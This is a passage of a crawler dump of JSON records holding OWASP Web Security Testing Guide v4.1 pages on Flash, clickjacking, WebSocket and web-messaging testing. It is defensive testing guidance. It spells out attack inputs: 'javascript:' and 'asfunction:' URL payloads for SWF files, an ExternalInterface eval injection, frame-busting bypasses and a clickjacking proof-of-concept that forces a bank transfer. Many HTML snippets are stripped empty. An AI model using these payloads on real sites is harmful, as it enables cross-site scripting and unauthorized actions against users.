host.\n\n### GetURL (AS2) / NavigateToURL (AS3)\n\nThe GetURL function in ActionScript 2.0 and NavigateToURL in ActionScript 3.0 lets the movie load a URI into the browser’s window. If an undefined variable is used as the first argument for getURL:\n\n`getURL(_root.URI,'_targetFrame');`\n\nOr if a FlashVar is used as the parameter that is passed to a navigateToURL function:\n\n```\nvar request:URLRequest = new URLRequest(FlashVarSuppliedURL); navigateToURL(request); \n```\n\nThen this will mean it’s possible to call JavaScript in the same domain where the movie is hosted by requesting:\n\n`http://victim/file.swf?URI=javascript:evilcode`\n\n`getURL('javascript:evilcode','_self');`\n\nThe same is possible when only some part of `getURL` is controlled via DOM injection with Flash JavaScript injection:\n\n```\ngetUrl('javascript:function('+_root.arg+'))\n```\n\n### Using `asfunction`\n\nYou can use the special `asfunction` protocol to cause the link to execute an ActionScript function in a SWF file instead of opening a URL. Until release Flash Player 9 r48 `asfunction` could be used on every method which has a URL as an argument. After that release, `asfunction` was restricted to use within an HTML TextField.\n\nThis means that a tester could try to inject:\n\n```\nasfunction:getURL,javascript:evilcode \n```\n\nin every unsafe method, such as:\n\n```\nloadMovie(_root.URL) \n```\n\nby requesting:\n\n`http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode`\n\n### ExternalInterface\n\n`ExternalInterface.call` is a static method introduced by Adobe to improve player/browser interaction for both ActionScript 2.0 and ActionScript 3.0.\n\nFrom a security point of view it could be abused when part of its argument could be controlled:\n\n```\nflash.external.ExternalInterface.call(_root.callback); \n```\n\nthe attack pattern for this kind of flaw may be something like the following:\n\n```\neval(evilcode) \n```\n\nsince the internal JavaScript that is executed by the browser will be something similar to:\n\n```\neval('try { __flash__toXML('+__root.callback+') ; } catch (e) { \"\"; }') \n```\n\n### HTML Injection\n\nTextField Objects can render minimal HTML by setting:\n\n```\ntf.html = true tf.htmlText = 'text' \n```\n\nSo if some part of text could be controlled by the tester, an `` tag or an image tag could be injected resulting in modifying the GUI or a XSS attack on the browser.\n\nSome attack examples with `` tag:\n\n- Direct XSS: ``\n- Call a function: ``\n- Call SWF public functions: ``\n- Call native static as function: ``\n\nAn image tag could be used as well:\n\n```\n \n```\n\nIn this example, `.swf` is necessary to bypass the Flash Player internal filter:\n\n```\n \n```\n\nSince the release of Flash Player 9.0.124.0, XSS is no longer exploitable, but GUI modification could still be accomplished.\n\nThe following tools may be helpful in working with SWF:\n\n- [Adobe SWF Investigator](https://labs.adobe.com/technologies/swfinvestigator/)\n- [OWASP SWFIntruder](https://wiki.owasp.org/index.php/Category:SWFIntruder)\n- [Decompiler – Flare](http://www.nowrap.de/flare.html)\n- [Disassembler – Flasm](http://flasm.sourceforge.net/)\n- [Swfmill – Convert Swf to XML and vice versa](https://www.swfmill.org/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11088, "slov": 1522, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:39", "sha256": "fb7012e4ba6db13d2ca0748a0e795b7805130b35e75d1038dc5c79a4f9f94c67", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://www.wisec.it/en/Docs/flash_App_testing_Owasp07.pdf", "https://labs.adobe.com/technologies/swfinvestigator/", "https://wiki.owasp.org/index.php/Category:SWFIntruder", "http://www.nowrap.de/flare.html", "http://flasm.sourceforge.net/", "https://www.swfmill.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Clickjacking"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "How to Test"}, {"uroven": 3, "text": "Bypass Clickjacking Protection"}, {"uroven": 4, "text": "Client Side Protection: Frame Busting"}, {"uroven": 5, "text": "Mobile Website Version"}, {"uroven": 5, "text": "Double Framing"}, {"uroven": 5, "text": "Disabling JavaScript"}, {"uroven": 5, "text": "OnBeforeUnload Event"}, {"uroven": 5, "text": "XSS Filter"}, {"uroven": 5, "text": "Redefining Location"}, {"uroven": 4, "text": "Server side protection: X-Frame-Options"}, {"uroven": 5, "text": "Browser Compatibility"}, {"uroven": 5, "text": "Proxies"}, {"uroven": 5, "text": "Mobile Website Version"}, {"uroven": 3, "text": "Create a Proof of Concept"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP Resources"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for Clickjacking\n\n| ID |\n| --- |\n| WSTG-CLNT-09 |\n\n## Summary\n\nClickjacking, a subset of UI redressing, is a malicious technique whereby a web user is deceived into interacting (in most cases by clicking) with something other than what the user believes they are interacting with. This type of attack, either alone or in conjunction with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting with seemingly-harmless web pages. The term clickjacking was coined by Jeremiah Grossman and Robert Hansen in 2008.\n\nA clickjacking attack uses seemingly-harmless features of HTML and JavaScript to force the victim to perform undesired actions, such as clicking an invisible button that performs an unintended operation. This is a client side security issue that affects a variety of browsers and platforms.\n\nTo carry out this attack, an attacker creates a seemingly-harmless web page that loads the target application through the use of an inline frame (concealed with CSS code). Once this is done, an attacker may induce the victim to interact with the web page by other means (through, for example, social engineering). Like other attacks, a common prerequisite is that the victim is authenticated against the attacker’s target website.\n\n*Figure 4.11.9-1: Clickjacking inline frame illustration*\n\nThe victim surfs the attacker’s web page with the intention of interacting with the visible user interface, but is inadvertently performing actions on the hidden page. Using the hidden page, an attacker can deceive users into performing actions they never intended to perform through the positioning of the hidden elements in the web page.\n\n*Figure 4.11.9-2: Masked inline frame illustration*\n\nThe power of this method is that the actions performed by the victim are originated from the hidden but authentic target web page. Consequently, some of the anti-CSRF protections deployed by the developers to protect the web page from CSRF attacks could be bypassed.\n\n### How to Test\n\nAs mentioned above, this type of attack is often designed to allow an attacker to induce users’ actions on the target site, even if anti-CSRF tokens are being used. Testing should be conducted to determine if website pages are vulnerable to clickjacking attacks.\n\nTesters may investigate if a target page can be loaded in an inline frame by creating a simple web page that includes a frame containing the target web page. An example of HTML code to create this testing web page is displayed in the following snippet:\n\n```\n Clickjack test page \n```\n\nIf the `http://www.target.site` page is successfully loaded into the frame, then the site is vulnerable and has no type of protection against clickjacking attacks.\n\n### Bypass Clickjacking Protection\n\nIf the `http://www.target.site` page does not appear in the inline frame, the site probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.\n\nMethods to protect a web page from clickjacking can be divided into a few main mechanisms. It is possible to bypass these methods in some circumstances by employing specific workarounds. For further OWASP resources on clickjacking defense, see the [OWASP Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html).\n\n#### Client Side Protection: Frame Busting\n\nThe most common client side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame.\n\nThe structure of frame busting code typically consists of a “conditional statement” and a “counter-action” statement. For this type of protection, there are some work arounds that fall under the name of “Bust frame busting”. Some of this techniques are browser-specific while others work across browsers.\n\n##### Mobile Website Version\n\nMobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users. From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.\n\n##### Double Framing\n\nSome frame busting techniques try to break frame by assigning a value to the “parent.location” attribute in the “counter-action” statement.\n\nSuch actions are, for example:\n\n- self.parent.location = document.location\n- parent.location.href = self.location\n- parent.location = self.location\n\nThis method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to “parent.location” becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.\n\nTarget site frame busting code (target site):\n\n```\nif(top.location!=self.locaton) { parent.location = self.location; } \n```\n\nAttacker’s top frame (fictitious2.html):\n\n```\n \n```\n\n- Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.\n\nExample:\n\n```\n \n```\n\n- Design mode: Paul Stone showed a security issue concerning the “designMode” that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.\n\n##### OnBeforeUnload Event\n\nThe `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target’s frame busting attempt.\n\nThe attacker can use this attack by registering an unload event on the top page using the following example code:\n\n```\n

www.fictitious.site

\n```\n\n- **Redefining location in Safari 4.0.4** : To bust frame busting code with “top.location” it is possible to bind “location” to a function via defineSetter (through window), so that an attempt to read or navigate to the “top.location” will fail.\n\nExample:\n\n```\n \n```\n\n#### Server side protection: X-Frame-Options\n\nAn alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This new “X-FRAME-OPTIONS” header is sent from the server on HTTP responses and is used to mark web pages that shouldn’t be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.\n\nThe “X-FRAME-OPTIONS” is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.\n\n##### Browser Compatibility\n\nSince the “X-FRAME-OPTIONS” was introduced in 2009, this header is not compatible with old browser. So every user that doesn’t have an updated browser could be victim of clickjacking attack.\n\n| Browser | Lowest version |\n| --- | --- |\n| Internet Explorer | 8.0 |\n| Firefox (Gecko) | 3.6.9 (1.9.2.9) |\n| Opera | 10.50 |\n| Safari | 4.0 |\n| Chrome | 4.1.249.1042 |\n\n##### Proxies\n\nWeb proxies are known for adding and stripping headers. In the case in which a web proxy strips the “X-FRAME-OPTIONS” header then the site loses its framing protection.\n\n##### Mobile Website Version\n\nAlso in this case, since the `X-FRAME-OPTIONS` has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.\n\n### Create a Proof of Concept\n\nOnce we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a `proof of concept` (PoC) to demonstrate the vulnerability. It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens. In this regard we can imagine that, for example, the target site allows to authenticated and authorized users to make a transfer of money to another account.\n\nSuppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture).\n\n*Figure 4.11.9-3: Clickjacking Example Step 2*\n\nFollowing a snippet of the code for the step 2:\n\n```\n//generate random anti CSRF token\n$csrfToken = md5(uniqid(rand(), TRUE));\n\n//set the token as in the session data\n$_SESSION['antiCsrf'] = $csrfToken;\n\n//Transfer form with the hidden field\n$form = '\n

BANK XYZ - Confirm Transfer

\n Do You want to confirm a transfer of '. $_REQUEST['amount'] .' € to account: '. $_REQUEST['account'] .' ?\n

';\n```\n\nIn the last step are planned security controls and then, if all is ok, the transfer is done. In the following listing a snippet of code of the last step is presented:\n\n> Note: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack\n\n```\nif( (!empty($_SESSION['antiCsrf'])) && (!empty($_POST['antiCsrf'])) ) { //here we can suppose input sanitization code… //check the anti-CSRF token if( ($_SESSION['antiCsrf'] == $_POST['antiCsrf']) ) { echo '

'. $_POST['amount'] .' € successfully transferred to account: '. $_POST['account'] .'

'; } } else { echo '

Transfer KO

'; } \n```\n\nAs you can see the code is protected from CSRF attack both with a random token generated in the second step and accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.\n\nThe target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method.\n\n> Note: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible\n\nThe attacker’s page may look like a simple and harmless web page like the one presented below:\n\n*Figure 4.11.9-4: Clickjacking Example Malicious Page 1*\n\nBut playing with the CSS opacity value we can see what is hidden under the seemingly innocuous web page.\n\n*Figure 4.11.9-5: Clickjacking Example Malicious Page 2*\n\nThe clickjacking code to create this page is presented below:\n\n```\n Trusted web page

www.owasp.com

\n```\n\nWith the help of CSS (note the `#clickjacking` block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button “Click and go!” the form is submitted and the transfer is completed.\n\n*Figure 4.11.9-6: Clickjacking Example Malicious Page 3*\n\nThe example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.\n\n## Tools\n\n## References\n\n### OWASP Resources\n\n- [Clickjacking](https://owasp.org/www-community/attacks/Clickjacking)\n\n### Whitepapers\n\n- [Clickjacking](https://en.wikipedia.org/wiki/Clickjacking)\n- [Context Information Security: “Next Generation Clickjacking”](https://www.contextis.com/media/downloads/Context-Clickjacking_white_paper_2010.pdf)\n- [Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: “Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites”](https://seclab.stanford.edu/websec/framebusting/framebust.pdf)\n- [Paul Stone: “Next generation clickjacking”](https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 18394, "slov": 2721, "odkazu": 181, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:40", "sha256": "8518b9f515d788658af59ae5c2a0ed182d40407fd6a2ac049b696a24f439bdf1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html", "https://en.wikipedia.org/wiki/Clickjacking", "https://www.contextis.com/media/downloads/Context-Clickjacking_white_paper_2010.pdf", "https://seclab.stanford.edu/websec/framebusting/framebust.pdf", "https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/10-Testing_WebSockets", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/10-Testing_WebSockets", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/10-Testing_WebSockets", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing WebSockets"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Origin"}, {"uroven": 2, "text": "Confidentiality and Integrity"}, {"uroven": 2, "text": "Input Sanitization"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Example 1"}, {"uroven": 4, "text": "Example 2"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing WebSockets\n\n| ID |\n| --- |\n| WSTG-CLNT-10 |\n\n## Summary\n\nTraditionally, the HTTP protocol only allows one request/response per TCP connection. Asynchronous JavaScript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server, however, AJAX requires the client to initiate the requests and wait for the server responses (half-duplex).\n\n[WebSockets](https://html.spec.whatwg.org/multipage/web-sockets.html#network) allow the client or server to create a ‘full-duplex’ (two-way) communication channel, allowing the client and server to truly communicate asynchronously. WebSockets conduct their initial *upgrade* handshake over HTTP and from then on all communication is carried out over TCP channels by use of frames. For more, see the [WebSocket Protocol](https://tools.ietf.org/html/rfc6455).\n\n## Origin\n\nIt is the server’s responsibility to verify the [`Origin` header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin) in the initial HTTP WebSocket handshake. If the server does not validate the origin header in the initial WebSocket handshake, the WebSocket server may accept connections from any origin. This could allow attackers to communicate with the WebSocket server cross-domain allowing for CSRF-like issues. See also [Top 10-2017 A5-Broken Access Control](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A5-Broken_Access_Control).\n\n## Confidentiality and Integrity\n\nWebSockets can be used over unencrypted TCP or over encrypted TLS. To use unencrypted WebSockets the `ws://` URI scheme is used (default port 80), to use encrypted (TLS) WebSockets the `wss://` URI scheme is used (default port 443). See also [Top 10-2017 A3-Sensitive Data Exposure](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A3-Sensitive_Data_Exposure).\n\n## Input Sanitization\n\nAs with any data originating from untrusted sources, the data should be properly sanitized and encoded. See also [Top 10-2017 A1-Injection](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection) and [Top 10-2017 A7-Cross-Site Scripting (XSS)](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A7-Cross-Site_Scripting_(XSS)).\n\n## How to Test\n\n### Black-Box Testing\n\n1. Identify that the application is using WebSockets.\n - Inspect the client-side source code for the `ws://` or `wss://` URI scheme.\n - Use Google Chrome’s Developer Tools to view the Network WebSocket communication.\n - Use [ZAP’s](https://www.zaproxy.org) WebSocket tab.\n2. Origin.\n - Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If a connection is established the server may not be checking the origin header of the WebSocket handshake.\n3. Confidentiality and Integrity.\n - Check that the WebSocket connection is using SSL to transport sensitive information `wss://` .\n - Check the SSL Implementation for security issues (Valid Certificate, BEAST, CRIME, RC4, etc). Refer to the [Testing for Weak SSL TLS Ciphers Insufficient Transport Layer Protection](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_SSL_TLS_Ciphers_Insufficient_Transport_Layer_Protection) section of this guide.\n4. Authentication.\n - WebSockets do not handle authentication, normal black-box authentication tests should be carried out. Refer to the [Authentication Testing](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/README) sections of this guide.\n5. Authorization.\n - WebSockets do not handle authorization, normal black-box authorization tests should be carried out. Refer to the [Authorization Testing](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/README) sections of this guide.\n6. Input Sanitization.\n - Use [ZAP’s](https://www.zaproxy.org) WebSocket tab to replay and fuzz WebSocket request and responses. Refer to the [Testing for Data Validation](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README) sections of this guide.\n\n#### Example 1\n\nOnce we have identified that the application is using WebSockets (as described above) we can use the [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org) to intercept the WebSocket request and responses. ZAP can then be used to replay and fuzz the WebSocket request/responses.\n\n#### Example 2\n\nUsing a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If the connection is allowed the WebSocket server may not be checking the WebSocket handshake’s origin header. Attempt to replay requests previously intercepted to verify that cross-domain WebSocket communication is possible.\n\n### Gray-Box Testing\n\nGray-box testing is similar to black-box testing. In gray-box testing, the pen-tester has partial knowledge of the application. The only difference here is that you may have API documentation for the application being tested which includes the expected WebSocket request and responses.\n\n## Tools\n\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n\nZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.\n\n- [WebSocket Client](https://github.com/ethicalhack3r/scripts/blob/master/WebSockets.html)\n\nA WebSocket client that can be used to interact with a WebSocket server.\n\n- [Google Chrome Simple WebSocket Client](https://chrome.google.com/webstore/detail/simple-websocket-client/pfdhoblngboilpfeibdedpjgfnlcodoo?hl=en)\n\nConstruct custom Web Socket requests and handle responses to directly test your Web Socket services.\n\n## References\n\n### Whitepapers\n\n- [HTML5 Rocks - Introducing WebSockets: Bringing Sockets to the Web](https://www.html5rocks.com/en/tutorials/websockets/basics/)\n- [W3C - The WebSocket API](https://html.spec.whatwg.org/multipage/web-sockets.html#network)\n- [IETF - The WebSocket Protocol](https://tools.ietf.org/html/rfc6455)\n- [Christian Schneider - Cross-Site WebSocket Hijacking (CSWSH)](http://www.christian-schneider.net/CrossSiteWebSocketHijacking.html)\n- [Jussi-Pekka Erkkilä - WebSocket Security Analysis (PDF)](http://juerkkil.iki.fi/files/writings/websocket2012.pdf)\n- [Robert Koch- On WebSockets in Penetration Testing](http://www.ub.tuwien.ac.at/dipl/2013/AC07815487.pdf)\n- [DigiNinja - OWASP ZAP and Web Sockets](http://www.digininja.org/blog/zap_web_sockets.php)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6868, "slov": 832, "odkazu": 191, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:41", "sha256": "5cefbaebabcf2901f8b422b94748708496298ba00e1ba77eb4ffd630028537ef", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://html.spec.whatwg.org/multipage/web-sockets.html", "https://tools.ietf.org/html/rfc6455", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin", "https://www.zaproxy.org/", "https://github.com/ethicalhack3r/scripts/blob/master/WebSockets.html", "https://chrome.google.com/webstore/detail/simple-websocket-client/pfdhoblngboilpfeibdedpjgfnlcodoo?hl=en", "https://www.html5rocks.com/en/tutorials/websockets/basics/", "http://www.christian-schneider.net/CrossSiteWebSocketHijacking.html", "http://juerkkil.iki.fi/files/writings/websocket2012.pdf", "http://www.ub.tuwien.ac.at/dipl/2013/AC07815487.pdf", "http://www.digininja.org/blog/zap_web_sockets.php", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/11-Testing_Web_Messaging", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/11-Testing_Web_Messaging", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/11-Testing_Web_Messaging", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing Web Messaging"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Origin Security"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Examine Origin Security"}, {"uroven": 3, "text": "Examine Input Validation"}, {"uroven": 3, "text": "Static Code Analysis"}], "markdown": "# WSTG - v4.1\n\n# Testing Web Messaging\n\n| ID |\n| --- |\n| WSTG-CLNT-11 |\n\n## Summary\n\nWeb Messaging (also known as [Cross Document Messaging](https://html.spec.whatwg.org/multipage/web-messaging.html#web-messaging)) allows applications running on different domains to communicate in a secure manner. Before the introduction of web messaging, the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser. Developers used multiple hacks in order to accomplish these tasks, and most of them were mainly insecure.\n\nThis restriction within the browser is in place to prevent a malicious website from reading confidential data from other iframes, tabs, etc; however, there are some legitimate cases where two trusted websites need to exchange data with each other. To meet this need, Cross Document Messaging was introduced in the [WHATWG HTML5](https://html.spec.whatwg.org/multipage/) draft specification and was implemented in all major browsers. It enables secure communications between multiple origins across iframes, tabs and windows.\n\nThe messaging API introduced the [`postMessage()` method](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage), with which plain-text messages can be sent cross-origin. It consists of two parameters: message, and domain.\n\nThere are some security concerns when using `*` as the domain that we discuss below. In order to receive messages, the receiving website needs to add a new event handler, which has the following attributes:\n\n- Data, the content of the incoming message;\n- Origin of the sender document; and\n- Source, the source window.\n\nHere is an example of the messaging API in use. To send a message:\n\n```\niframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”); \n```\n\nTo receive a message:\n\n```\nwindow.addEventListener(“message”, handler, true); function handler(event) { if(event.origin === 'chat.example.com') { /* process message (event.data) */ } else { /* ignore messages from untrusted domains */ } } \n```\n\n### Origin Security\n\nThe origin is made up of a scheme, host name, and port. It uniquely identifies the domain sending or receiving the message, and does not include the path or the fragment part of the url. For instance, `https://example.com` will be considered different from `http://example.com` because the schema of the former is `https`, while the latter is `http`. This also applies to web servers running in the same domain but on different ports.\n\n## How to Test\n\n### Examine Origin Security\n\nTesters should check whether the application code is filtering and processing messages from trusted domains. Within the sending domain, also ensure that the receiving domain is explicitly stated, and that `*` is not used as the second argument of `postMessage()`. This practice could introduce security concerns and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.\n\nIf the website fails to add security controls to restrict the domains or origins that are allowed to send messages to a website, it is likely to introduce a security risk. Testers should examine the code for message event listeners and get the callback function from the `addEventListener` method for further analysis. Domains must always be verified prior to data manipulation.\n\n### Examine Input Validation\n\nAlthough the website is theoretically accepting messages from trusted domains only, data must still be treated as externally-sourced, untrusted data, and processed with the appropriate security controls. Testers should analyze the code and look for insecure methods, in particular where data is being evaluated via `eval()` or inserted into the DOM via the `innerHTML` property, which may create DOM-based XSS vulnerabilities.\n\n### Static Code Analysis\n\nJavaScript code should be analyzed to determine how web messaging is implemented. In particular, testers should be interested in how the website is restricting messages from untrusted domains, and how the data is handled even for trusted domains.\n\nIn this example, access is needed for every subdomain (www, chat, forums, …) within the owasp.org domain. The code is trying to accept any domain with `.owasp.org`:\n\n```\nwindow.addEventListener(“message”, callback, true); function callback(e) { if(e.origin.indexOf(\".owasp.org\")!=-1) {\n /* process message (e.data) */ } } \n```\n\nThe intention is to allow subdomains such as:\n\n- `www.owasp.org`\n- 